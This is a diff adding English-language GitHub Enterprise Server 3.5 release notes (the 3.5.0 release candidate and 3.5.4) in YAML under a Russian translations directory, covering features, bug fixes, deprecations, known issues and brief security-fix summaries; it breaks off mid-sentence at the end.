b/translations/ru-RU/data/release-notes/enterprise-server/3-5/0-rc1.yml @@ -0,0 +1,421 @@ +date: '2022-05-10' +release_candidate: true +deprecated: true +intro: | + {% note %} + + **Note:** If {% data variables.location.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. We recommend only running release candidates on test environments. + + {% endnote %} + + For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)." +sections: + features: + - heading: IP exception list for validation testing after maintenance + notes: + # https://github.com/github/releases/issues/2109 + - | + You can now configure an allow list of IP addresses that can access application services on your GitHub Enterprise Server instance while maintenance mode is enabled. Administrators who visit the instance's web interface from an allowed IP address can validate the instance's functionality post-maintenance and before disabling maintenance mode. For more information, see "[Enabling and scheduling maintenance mode](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode#validating-changes-in-maintenance-mode-using-the-ip-exception-list)." + + - heading: Custom repository roles are generally available + notes: + # https://github.com/github/releases/issues/1945 + - | + With custom repository roles, organizations now have more granular control over the repository access permissions they can grant to users. For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." + + A custom repository role is created by an organization owner, and is available across all repositories in that organization. Each role can be given a custom name, and a description. It can be configured from a set of over 40 fine grained permissions. Once created, repository admins can assign a custom role to any user, team or outside collaborator in their repository. + + Custom repository roles can be created, viewed, edited and deleted via the new **Repository roles** tab in an organization's settings. A maximum of 3 custom roles can be created within an organization. + + Custom repository roles are also fully supported in the GitHub Enterprise Server REST APIs. The Organizations API can be used to list all custom repository roles in an organization, and the existing APIs for granting repository access to individuals and teams have been extended to support custom repository roles. For more information, see "[Organizations](/rest/reference/orgs#list-custom-repository-roles-in-an-organization)" in the REST API documentation. + + - heading: GitHub Container registry in public beta + notes: + # https://github.com/github/releases/issues/2005 + - | + The GitHub Container registry (GHCR) is now available in GitHub Enterprise Server 3.5 as a public beta, offering developers the ability to publish, download, and manage containers. GitHub Packages container support implements the OCI standards for hosting Docker images. For more information, see "[GitHub Container registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry)." + + - heading: Dependabot updates are generally available + notes: + # https://github.com/github/releases/issues/2089 + - | + Dependabot version and security updates are now generally available in GitHub Enterprise Server 3.5. All the popular ecosystems and features that work on GitHub.com repositories now can be set up on your GitHub Enterprise Server instance. Dependabot on GitHub Enterprise Server requires GitHub Actions and a pool of self-hosted Dependabot runners, GitHub Connect enabled, and Dependabot enabled by an admin. For more information, see "[Setting up Dependabot updates](https://docs.github.com/en/enterprise-server@3.5/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates)." + + + + - heading: Server Statistics in public beta + notes: + # https://github.com/github/releases/issues/2183 + - | + You can now analyze how your team works, understand the value you get from GitHub Enterprise Server, and help us improve our products by reviewing your instance's usage data and sharing this aggregate data with GitHub. You can use your own tools to analyze your usage over time by downloading your data in a CSV or JSON file or by accessing it using the REST API. To see the list of aggregate metrics collected, see "[About Server Statistics](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics/about-server-statistics#server-statistics-data-collected)." Server Statistics data includes no personal data nor GitHub content, such as code, issues, comments, or pull requests content. For a better understanding of how we store and secure Server Statistics data, see "[GitHub Security](https://github.com/security)." For more information about Server Statistics, see "[Analyzing how your team works with Server Statistics](/admin/monitoring-activity-in-your-enterprise/analyzing-how-your-team-works-with-server-statistics)." This feature is available in public beta. + + - heading: GitHub Actions rate limiting is now configurable + notes: + # https://github.com/github/releases/issues/2123 + - | + Site administrators can now enable and configure a rate limit for GitHub Actions. By default, the rate limit is disabled. When workflow jobs cannot immediately be assigned to an available runner, they will wait in a queue until a runner is available. However, if GitHub Actions experiences a sustained high load, the queue can back up faster than it can drain and the performance of the GitHub Enterprise Server instance may degrade. To avoid this, an administrator can configure a rate limit. When the rate limit is exceeded, additional workflow runs will fail immediately rather than being put in the queue. Once the rate has stabilized below the threshold, new runs can be queued again. For more information, see "[Configuring rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits#configuring-rate-limits-for-github-actions)." + + - heading: OpenID Connect (OIDC) for secure deployments with GitHub Actions + notes: + # https://github.com/github/releases/issues/2066 + - | + GitHub Actions on GitHub Enterprise Server now supports OIDC for secure deployments to cloud providers, which uses short-lived tokens that are automatically rotated for each deployment. OIDC enables the following functionality. + + - Seamless authentication between cloud providers and GitHub Enterprise Server without the need for storing any long-lived cloud secrets on your instance + - Cloud administrators can rely on the security mechanisms of a particular cloud provider to ensure that GitHub Actions workflows have minimal access to cloud resources. There is no duplication of secret management between GitHub Enterprise Server and the cloud. + + For more information, see "[Security hardening your deployments](/actions/deployment/security-hardening-your-deployments)." + + - heading: Sharing GitHub Actions within your enterprise is generally available + notes: + # https://github.com/github/releases/issues/2085 + - | + Support for GitHub Actions in internal repositories is now generally available for organizations on your GitHub Enterprise Server instance. You can innersource automation by sharing actions in internal repositories. You can manage a repository's settings or use the REST API to allow access to workflows in other repositories within the organization or in any organization on the instance. For more information, see "[Sharing actions and workflows with your enterprise](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise)," "[Managing GitHub Actions settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#allowing-access-to-components-in-an-internal-repository)," and "[Actions Permissions](/rest/actions/permissions#get-the-level-of-access-for-workflows-outside-of-the-repository)" in the REST API documentation. + + - heading: Cache support for GitHub Actions on GitHub Enterprise Server is now generally available + notes: + # https://github.com/github/releases/issues/2110 + - | + You can now use dependency caching to speed up your GitHub Actions workflows. To cache dependencies for a job, you can include the [actions/cache](https://github.com/actions/cache) action to create a cache with a unique key. You can share caches across all workflows in the same repository. These workflows can then restore the cache and run faster. + + Actions users can also use our cache APIs to: + + - Define the enterprise policy for cache size range allowed per repository. + - Query the cache usage within each repository and monitor if the total size of all caches is reaching the upper limit. + - Increase the maximum cache size for a repository within the allowed enterprise limits, based on the cache requirements of the repository. + - Monitor aggregate cache usage at organization level or at enterprise level. + + The external blob storage that is configured within your enterprise account will now be shared across workflow artifacts, logs, and also the caches. For more information, see "[Caching dependencies to speed up workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows)." + + + - heading: Automatically sign commits made in the web UI + notes: + # https://github.com/github/releases/issues/1963 + - | + You can now configure GitHub Enterprise Server to automatically sign commits made in the web interface, such as from editing a file or merging a pull request. Signed commits increase confidence that changes come from trusted sources. This feature allows the [Require signed commits](/repositories/configuring-branches-and-merges-in-your-repository/defining-the-mergeability-of-pull-requests/about-protected-branches#require-signed-commits) branch protection setting to block unsigned commits from entering a repository, while allowing entry of signed commits – even those made in the web interface. For more information, see "[Configuring web commit signing](/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing)." + + - heading: Sync license usage any time + notes: + # https://github.com/github/releases/issues/2201 + - | + For customers that sync license usage between GitHub Enterprise Server and GitHub Enterprise Cloud automatically using GitHub Connect, you now have the ability to sync your license usage independently of the automatic weekly sync. This feature also reports the status of sync job. For more information, see "[Syncing license usage between GitHub Enterprise Server and GitHub Enterprise Cloud](/billing/managing-your-license-for-github-enterprise/syncing-license-usage-between-github-enterprise-server-and-github-enterprise-cloud#manually-syncing-license-usage)." + + - heading: Reusable workflows for GitHub Actions are generally available + notes: + # https://github.com/github/releases/issues/1767 + # https://github.com/github/releases/issues/1950 + # https://github.com/github/releases/issues/2114 + - | + Reusable workflows are now generally available. Reusable workflows help you reduce duplication by enabling you to reuse an entire workflow as if it were an action. With the general availability release, a number of improvements are now available for GitHub Enterprise Server. For more information, see "[Reusing workflows](/actions/using-workflows/reusing-workflows)." + + - You can utilize outputs to pass data from reusable workflows to other jobs in the caller workflow. + - You can pass environment secrets to reusable workflows. + - The audit log includes information about which reusable workflows are used. + - Reusable workflows in the same repository as the calling repository can be referenced with just the path and filename (`PATH/FILENAME`). The called workflow will be from the same commit as the caller workflow. + + - heading: Self-hosted runners for GitHub Actions can now disable automatic updates + notes: + # https://github.com/github/releases/issues/2014 + - | + You now have more control over when your self-hosted runners perform software updates. If you specify the `--disableupdate` flag to the runner then it will not try to perform an automatic software update if a newer version of the runner is available. This allows you to update the self-hosted runner on your own schedule, and is especially convenient if your self-hosted runner is in a container. + + For compatibility with the GitHub Actions service, you will need to manually update your runner within 30 days of a new runner version being available. For instructions on how to install the latest runner version, please see the installation instructions for [the latest release in the runner repo](https://github.com/actions/runner/releases). + + - heading: Secure self-hosted runners for GitHub Actions by limiting workflows + notes: + # https://github.com/github/releases/issues/2013 + - | + Organization owners can now increase the security of CI/CD workflows on self-hosted runners by choosing which workflows can access a runner group. Previously, any workflow in a repository, such as an issue labeler, could access the self-hosted runners available to an organization. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-what-workflows-can-access-a-runner-group)" and the [GitHub Blog](https://github.blog/2022-03-23-github-actions-secure-self-hosted-runners-specific-workflows/). + + - heading: Prevent GitHub Actions from approving pull requests + notes: + # https://github.com/github/releases/issues/1959 + - | + You can now control whether GitHub Actions can approve pull requests. This feature protects against a user using GitHub Actions to satisfy the "Required approvals" branch protection requirement and merging a change that was not reviewed by another user. To prevent breaking existing workflows, **Allow GitHub Actions reviews to count towards required approval** is enabled by default. Organization owners can disable the feature in the organization's GitHub Actions settings. For more information, see "[Disabling or limiting GitHub Actions for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#preventing-github-actions-from-approving-pull-requests)." + + - heading: Re-run failed or individual GitHub Actions jobs + notes: + # https://github.com/github/releases/issues/1503 + - | + You can now re-run only failed jobs or an individual job in a GitHub Actions workflow run. For more information, see "[Re-running workflows and jobs](/actions/managing-workflow-runs/re-running-workflows-and-jobs)." + + - heading: Dependency graph supports GitHub Actions + notes: + # https://github.com/github/releases/issues/1913 + - | + The dependency graph now detects YAML files for GitHub Actions workflows. GitHub Enterprise Server will display the workflow files within the **Insights** tab's dependency graph section. Repositories that publish actions will also be able to see the number of repositories that depend on that action from the "Used By" control on the repository homepage. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)." + + - heading: Security overview for enterprises in public beta + notes: + # https://github.com/github/releases/issues/2040 + - | + GitHub Advanced Security customers can now view an overview of security alerts at the enterprise level. The new **Security** tab at the enterprise level provides a repository-centric view of application security risks, as well as an alert-centric view of all secret scanning alerts. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." + + - heading: Security view for organizations is generally available + notes: + # https://github.com/github/releases/issues/2096 + - | + The overview of security alerts at the organization level is now generally available. GitHub Advanced Security customers can use the security overview to view a repository-centric view of application security risks, or an alert-centric view of all code scanning, Dependabot, and secret scanning alerts for all repositories in an organization. For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." + + - heading: Code scanning detects more security issues, supports new language versions + notes: + # https://github.com/github/releases/issues/2097 + - | + Code scanning now detects a larger number of CWEs, and CodeQL code scanning fully supports the standard language features in the following language releases. + + - C# 10 / .NET 6 + - Python 3.10 + - Java 17 + - TypeScript 4.5 + + For more information, see the [GitHub Blog](https://github.blog/changelog/2022-02-25-code-scanning-detects-more-security-issues-supports-new-language-versions/). + + - heading: View code scanning alerts across an organization + notes: + # https://github.com/github/releases/issues/1792 + - | + GitHub Advanced Security customers can now view code scanning alerts in an organization's **Security** tab. This view is available to organization owners and members of teams with the [security manager role](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." + + # https://github.com/github/releases/issues/1763 + - | + Users can now retrieve code scanning alerts for an organization on your GitHub Enterprise Server instance via the REST API. This new API endpoint supplements the existing [endpoint for repositories](/rest/reference/code-scanning#list-code-scanning-alerts-for-a-repository). For more information, see [Code Scanning](/rest/code-scanning) in the REST API documentation. + + - heading: Secret scanning available as a push protection + notes: + # + - | + GitHub Enterprise Server can now block any pushes where a token is detected with high confidence. Developers can bypass the block by providing details of why the secret needs to be committed via a web UI. For more information, see "[Protecting pushes with secret scanning](/code-security/secret-scanning/protecting-pushes-with-secret-scanning)." + + - heading: Dry runs for custom patterns with secret scanning + notes: + # https://github.com/github/releases/issues/1703 + # https://github.com/github/releases/issues/2084 + - | + GitHub Advanced Security customers can now dry run custom secret scanning patterns at the organization or repository level. Dry runs allow people with owner or admin access to review and hone their patterns before publishing them and generating alerts. You can compose a pattern, then use **Save and dry run** to retrieve results. The scans typically take just a few seconds, but GitHub Enterprise Server will also notify organization owners or repository admins via email when dry run results are ready. For more information, see "[About secret scanning](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-private-repositories)" and "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." + + - heading: Secret scanning custom pattern events now in the audit log + notes: + # https://github.com/github/releases/issues/2154 + - | + The audit log now includes events associated with secret scanning custom patterns. This data helps GitHub Advanced Security customers understand actions taken on their [repository](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#repository_secret_scanning_custom_pattern-category-actions)-, [organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization#org_secret_scanning_custom_pattern-category-actions)-, or [enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise#business_secret_scanning_custom_pattern-category-actions)-level custom patterns for security and compliance audits. For more information, see "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization)" or "[Reviewing audit logs for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise)." + + - heading: Configure permissions for secret scanning with custom repository roles + notes: + # https://github.com/github/releases/issues/1909 + - | + You can now configure two new permissions for secret scanning when managing custom repository roles. + + - View secret scanning results + - Dismiss or reopen secret scanning results + + For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." + + - heading: Secret scanning now supports archived repositories + notes: + # https://github.com/github/releases/issues/2076 + - | + GitHub Advanced Security customers can now enable secret scanning for archived repositories via the UI and API. For more information, see "[About secret scanning](/code-security/secret-scanning/about-secret-scanning#about-secret-scanning-for-private-repositories)," "[About archived repositories](/repositories/archiving-a-github-repository/archiving-repositories)," and "[Repositories](/rest/repos/repos#update-a-repository)" in the REST API documentation. + + - heading: Secret scanning webhooks for alert locations + notes: + # https://github.com/github/releases/issues/2149 + - | + GitHub Advanced Security customers using secret scanning can now opt to receive a webhook each time a secret is detected in a new location. The `secret_scanning_alert_location` webhook event includes location details, like the commit SHA, and the associated alert for the detection. A location is created for every new file path containing the detected secret. For more information, see "[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#secret_scanning_alert_location)." + + - heading: View Dependabot alerts across an organization + notes: + # https://github.com/github/releases/issues/1992 + - | + GitHub Advanced Security customers can now view Dependabot alerts in in an organization's **Security** tab. This view is available to organization owners and members of teams with the [security manager role](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization). For more information, see "[About the security overview](/code-security/security-overview/about-the-security-overview)." + + - heading: Configure permissions for Dependabot alerts with custom repository roles + notes: + # https://github.com/github/releases/issues/1958 + - | + You can now configure two new permissions for Dependabot alerts when managing custom repository roles. + + - View Dependabot alerts + - Dismiss or reopen Dependabot alerts + + For more information, see "[Managing custom repository roles for an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization)." + + - heading: Reopen dismissed Dependabot alerts + notes: + # https://github.com/github/releases/issues/1923 + - | + You can now reopen dismissed Dependabot alerts through the UI page for a closed alert. This does not affect Dependabot pull requests or the GraphQL API. For more information, see "[About Dependabot alerts](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)." + + - heading: Pub support for Dependabot version updates is in public beta + notes: + # https://github.com/github/releases/issues/2086 + - | + Users of Dependabot version updates can now proactively update dependencies for Flutter or Dart projects that use the Pub package manager. + + To test [version updates](/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates) on your own Dart or Flutter repository, add the following configuration file in [.github/dependabot.yaml](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates#enabling-dependabot-version-updates). Note the `package-ecosystem: "pub"` and `enable-beta-ecosystems: true` flags. + ```yaml + version: 2 + enable-beta-ecosystems: true + updates: + - package-ecosystem: "pub" + directory: "/" + schedule: + interval: "weekly" + ``` + + - heading: See pull request associated with a repository's Dependabot alerts via GraphQL API + notes: + # https://github.com/github/releases/issues/2088 + - | + The new `DependabotUpdate` GraphQL object lets you view information about what happens to your repository's security updates. When GitHub Enterprise Server detects that a dependency in your repository is vulnerable, Dependabot will attempt to open a pull request to update that dependency to a non-vulnerable version. You can now see the pull request that fixes the vulnerability. In some cases, Dependabot fails to open a pull request. Previously, the error message that Dependabot generated was only visible in the "Dependabot Alerts" section of the **Security** tab. Now, if Dependabot runs into an error when trying to open a pull request for a security alert, you can determine the reason using the GraphQL API. For more information, see "[Objects](/graphql/reference/objects#dependabotupdate)" in the GraphQL API documentation. + + - heading: Access more information about Dependabot alerts via GraphQL API + notes: + # https://github.com/github/releases/issues/1922 + - | + You can now view fixed alerts from Dependabot with the GraphQL API. You can also access and filter by state, as well as by unique numeric identifier, and you can filter by state on the vulnerability alert object. The following fields now exist for a `RepositoryVulnerabilityAlert`. + + - `number` + - `fixed_at` + - `fix_reason` + - `state` + + For more information, see "[Objects](/graphql/reference/objects#repositoryvulnerabilityalert)" in the GraphQL API documentation. + + - heading: Git events in the enterprise audit log + notes: + # https://github.com/github/releases/issues/2205 + - | + The following Git-related events can now appear in the enterprise audit log. If you enable the feature and set an audit log retention period, the new events will be available for search via the UI and API, or export via JSON or CSV. + + - `git.clone` + - `git.fetch` + - `git.push` + + Due to the large number of Git events logged, we recommend you monitor your instance's file storage and review your related alert configurations. For more information, see "[Configuring the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/configuring-the-audit-log-for-your-enterprise#managing-git-events-in-the-audit-log)." + + - heading: Improvements to CODEOWNERS + notes: + # https://github.com/github/releases/issues/1994 + - | + This release includes improvements to CODEOWNERS. + + - Syntax errors are now surfaced when viewing a CODEOWNERS file from the web. Previously, when a line in a CODEOWNERS file had a syntax error, the error would be ignored or in some cases cause the entire CODEOWNERS file to not load. GitHub Apps and Actions can access the same list of errors using new REST and GraphQL APIs. For more information, see "[Repositories](/rest/repos/repos#list-codeowners-errors)" in the REST API documentation or "[Objects](/graphql/reference/objects#repositorycodeowners)" in the GraphQL API documentation. + - After someone creates a new pull request or pushes new changes to a draft pull request, any code owners that will be requested for review are now listed in the pull request under "Reviewers". This feature gives you an early look at who will be requested to review once the pull request is marked ready for review. + - Comments in CODEOWNERS files can now appear at the end of a line, not just on dedicated lines. + + For more information, see "[About code owners](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)." + + - heading: More ways to keep a pull request's topic branch up to date + notes: + # https://github.com/github/releases/issues/1566 + - | + The **Update branch** button on the pull request page lets you update your pull request's branch with the latest changes from the base branch. This is useful for verifying your changes are compatible with the current version of the base branch before you merge. Two enhancements now give you more ways to keep your branch up-to-date. + + - When your pull request's topic branch is out of date with the base branch, you now have the option to update it by rebasing on the latest version of the base branch. Rebasing applies the changes from your branch onto the latest version of the base branch, resulting in a branch with a linear history since no merge commit is created. To update by rebasing, click the drop down menu next to the **Update Branch** button, click **Update with rebase**, and then click **Rebase branch**. Previously, **Update branch** performed a traditional merge that always resulted in a merge commit in your pull request branch. This option is still available, but now you have the choice. For more information, see "[Keeping your pull request in sync with the base branch](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch)." + + - A new repository setting allows the **Update branch** button to always be available when a pull request's topic branch is not up to date with the base branch. Previously, this button was only available when the **Require branches to be up to date before merging** branch protection setting was enabled. People with admin or maintainer access can manage the **Always suggest updating pull request branches** setting from the **Pull Requests** section in repository settings. For more information, see "[Managing suggestions to update pull request branches](/repositories/configuring-branches-and-merges-in-your-repository/configuring-pull-request-merges/managing-suggestions-to-update-pull-request-branches)." + + - heading: Configure custom HTTP headers for GitHub Pages sites + notes: + # https://github.com/github/releases/issues/2124 + - | + You can now configure custom HTTP headers that apply to all GitHub Pages sites served from your GitHub Enterprise Server instance. For more information, see "[Configuring GitHub Pages for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise#configuring-github-pages-response-headers-for-your-enterprise)." + + - heading: Ignore commits in blame view + notes: + # https://github.com/github/releases/issues/2090 + - | + It's now possible to ignore revisions in the blame view by creating a _.git-blame-ignore-revs_ file in the root of your repository. For more information, see "[Viewing a file](/repositories/working-with-files/using-files/viewing-a-file#ignore-commits-in-the-blame-view)." + + - heading: Light high contrast theme is generally available + notes: + # https://github.com/github/releases/issues/2011 + - | + A light high contrast theme, with greater contrast between foreground and background elements, is now generally available. For more information, see "[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)." + + - heading: Tag protection rules + notes: + # https://github.com/github/releases/issues/1793 + - | + Repository owners can now configure tag protection rules to protect a repository's tags. Once protected by a tag protection rule, tags matching a specified name pattern can only be created and deleted by users with the Maintain or Admin role in the repository. For more information, see "[Configuring tag protection rules](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules)." + + bugs: + # https://github.com/github/releases/issues/1934 + - | + It is now possible for GitHub Apps to upload release assets. + + changes: + # https://github.com/github/releases/issues/2063 + - | + To use the device authorization flow for OAuth and GitHub Apps, you must manually enable the feature. This change reduces the likelihood of apps being used in phishing attacks against GitHub Enterprise Server users by ensuring integrators are aware of the risks and make a conscious choice to support this form of authentication. If you own or manage an OAuth App or GitHub App and you want to use the device flow, you can enable it for your app via the app's settings page. The device flow API endpoints will respond with status code `400` to apps that have not enabled this feature. For more information, see "[Authorizing OAuth Apps](/developers/apps/building-oauth-apps/authorizing-oauth-apps#device-flow)." + + # https://github.com/github/releases/issues/2049 + - | + The code scanning alert page now always shows the alert status and information for the default branch. There is a new "Affected branches" panel in the sidebar where you can see the status of the alert in other branches. If the alert does not exist in your default branch, the alert page will show the status as "In branch" or "In pull request" for the location where the alert was last seen. This improvement makes it easier to understand the status of alerts which have been introduced into your code base. For more information, see "[About code scanning alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-alert-details)." + + The alert list page is not changed and can be filtered by `branch`. You can use the code scanning API to retrieve more detailed branch information for alerts. For more information, see "[Code Scanning](/rest/code-scanning)" in the REST API documentation. + + # https://github.com/github/releases/issues/2050 + - | + Code scanning now shows the details of the analysis origin of an alert. If an alert has more than one analysis origin, it is shown in the "Affected branches" sidebar and in the alert timeline. You can hover over the analysis origin icon in the "Affected branches" sidebar to see the alert status in each analysis origin. If an alert only has a single analysis origin, no information about analysis origins is displayed on the alert page. These improvements will make it easier to understand your alerts. In particular, it will help you understand those that have multiple analysis origins. This is especially useful for setups with multiple analysis configurations, such as monorepos. For more information, see "[About code scanning alerts](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-alerts#about-analysis-origins)." + + # https://github.com/github/releases/issues/2071 + - | + Lists of repositories owned by a user or organization now have an additional filter option, "Templates", making it easier to find template repositories. + + # https://github.com/github/releases/issues/1947 + - | + GitHub Enterprise Server can display several common image formats, including PNG, JPG, GIF, PSD, and SVG, and provides several ways to compare differences between versions. Now when reviewing added or changed images in a pull request, previews of those images are shown by default. Previously, you would see a message indicating that binary files could not be shown and you would need to toggle the "Display rich diff" option. For more information, see "[Working with non-code files](/repositories/working-with-files/using-files/working-with-non-code-files)." + + # https://github.com/github/releases/issues/2054 + - | + New gists are now created with a default branch name of either `main` or the alternative default branch name defined in your user settings. This matches how other repositories are created on GitHub Enterprise Server. For more information, see "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch)" and "[Managing the default branch name for your repositories](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-the-default-branch-name-for-your-repositories)." + + # https://github.com/github/releases/issues/2028 + - | + Gists now only show the 30 most recent comments when first displayed. You can click **Load earlier comments...** to view more. This allows gists that have many comments to appear more quickly. For more information, see "[Editing and sharing content with gists](/get-started/writing-on-github/editing-and-sharing-content-with-gists)." + + # https://github.com/github/releases/issues/2036 + - | + Settings pages for users, organizations, repositories, and teams have been redesigned, grouping similar settings pages into sections for improved information architecture and discoverability. For more information, see the [GitHub changelog](https://github.blog/changelog/2022-02-02-redesign-of-githubs-settings-pages/). + + # https://github.com/github/releases/issues/2129 + - | + Focusing or hovering over a label now displays the label description in a tooltip. + + # https://github.com/github/releases/issues/1983 + - | + Creating and removing repository invitations, whether done through the API or web interface, are now subject to rate limits that may be enabled on your GitHub Enterprise Server instance. For more information about rate limits, see "[Configuring rate limits](/admin/configuration/configuring-your-enterprise/configuring-rate-limits)." + + # https://github.com/github/releases/issues/2291 + - | + MinIO has announced the removal of the MinIO Gateways starting June 1st, 2022. While MinIO Gateway for NAS continues to be one of the supported storage providers for Github Actions and Github Packages, we recommend moving to MinIO LTS support to avail support and bug fixes from MinIO. For more information about rate limits, see "[Scheduled removal of MinIO Gateway for GCS, Azure, HDFS in the minio/minio repository](https://github.com/minio/minio/issues/14331)." + + + deprecations: + - heading: Change to the format of authentication tokens + notes: + # https://github.com/github/releases/issues/1235 + - | + GitHub Connect will no longer work after June 3rd for instances running GitHub Enterprise Server 3.1 or older, due to the format of GitHub authentication tokens changing. For more information, see the [GitHub changelog](https://github.blog/changelog/2021-03-31-authentication-token-format-updates-are-generally-available/). + + - heading: CodeQL runner deprecated in favor of CodeQL CLI + notes: + # https://github.com/github/releases/issues/1632 + - | + The CodeQL runner is deprecated in favor of the CodeQL CLI. GitHub Enterprise Server 3.4 and later no longer include the CodeQL runner. This deprecation only affects users who use CodeQL code scanning in 3rd party CI/CD systems. GitHub Actions users are not affected. GitHub strongly recommends that customers migrate to the CodeQL CLI, which is a feature-complete replacement for the CodeQL runner and has many additional features. For more information, see "[Migrating from the CodeQL runner to CodeQL CLI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli)." + + - heading: Theme picker for GitHub Pages has been removed + notes: + - | + The theme picker for GitHub Pages has been removed from the Pages settings. For more information about configuration of themes for GitHub Pages, see "[Adding a theme to your GitHub Pages site using Jekyll](/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll)." + + known_issues: + - On a freshly set up {% data variables.product.prodname_ghe_server %} instance without any users, an attacker could create the first admin user. + - Custom firewall rules are removed during the upgrade process. + - Git LFS tracked files [uploaded through the web interface](https://github.com/blog/2105-upload-files-to-your-repositories) are incorrectly added directly to the repository. + - Issues cannot be closed if they contain a permalink to a blob in the same repository, where the blob's file path is longer than 255 characters. + - When "Users can search GitHub.com" is enabled with GitHub Connect, issues in private and internal repositories are not included in GitHub.com search results. + - The {% data variables.product.prodname_registry %} npm registry no longer returns a time value in metadata responses. This was done to allow for substantial performance improvements. We continue to have all the data necessary to return a time value as part of the metadata response and will resume returning this value in the future once we have solved the existing performance issues. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. + - Actions services need to be restarted after restoring an appliance from a backup taken on a different host. diff --git a/translations/ru-RU/data/release-notes/enterprise-server/3-5/4.yml b/translations/ru-RU/data/release-notes/enterprise-server/3-5/4.yml new file mode 100644 index 000000000000..b5a846e1c396 --- /dev/null +++ b/translations/ru-RU/data/release-notes/enterprise-server/3-5/4.yml @@ -0,0 +1,30 @@ +date: '2022-08-11' +sections: + security_fixes: + - | + **CRITICAL**: GitHub Enterprise Server's Elasticsearch container used a version of OpenJDK 8 that was vulnerable to an integer truncation issue when processing malicious XSLT stylesheets. The vulnerability is tracked as [CVE-2022-34169](https://github.com/advisories/GHSA-9339-86wc-4qgf). + - | + **HIGH**: Previously installed apps on user accounts were automatically granted permission to access an organization on scoped access tokens after the user account was transformed into an organization account. This vulnerability was reported via the [GitHub Bug Bounty program](https://bounty.github.com). + bugs: + - In some cases, GitHub Enterprise Server instances on AWS that used the `r4.4xlarge` instance type would fail to boot. + - In some cases, UI elements within a pull request's **Files changed** tab could overlap. + - When a custom dormancy threshold was set for the instance, suspending all dormant users did not reliably respect the threshold. For more information about dormancy, see "[Managing dormant users](/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users)." + - When calculating committers for GitHub Advanced Security, it was not possible to specify individual repositories. For more information, see "[Site admin dashboard](/admin/configuration/configuring-your-enterprise/site-admin-dashboard#advanced-security-committers)." + - In some cases, Elasticsearch's post-upgrade `es:upgrade` process could crash before completion. + - The script for migration to internal repositories failed to convert the visibility for public repositories to internal or private. For more information about the migration, see "[Migrating to internal repositories](/admin/user-management/managing-repositories-in-your-enterprise/migrating-to-internal-repositories)." + - Detection of GitHub Actions workflow files for the dependency graph was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3, but is now available in 3.5.4. For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#supported-package-ecosystems)." + - The ability to reopen dismissed Dependabot alerts was unavailable in GitHub Enterprise Server 3.5.0, 3.5.1, 3.5.2, and 3.5.3, but is now available in 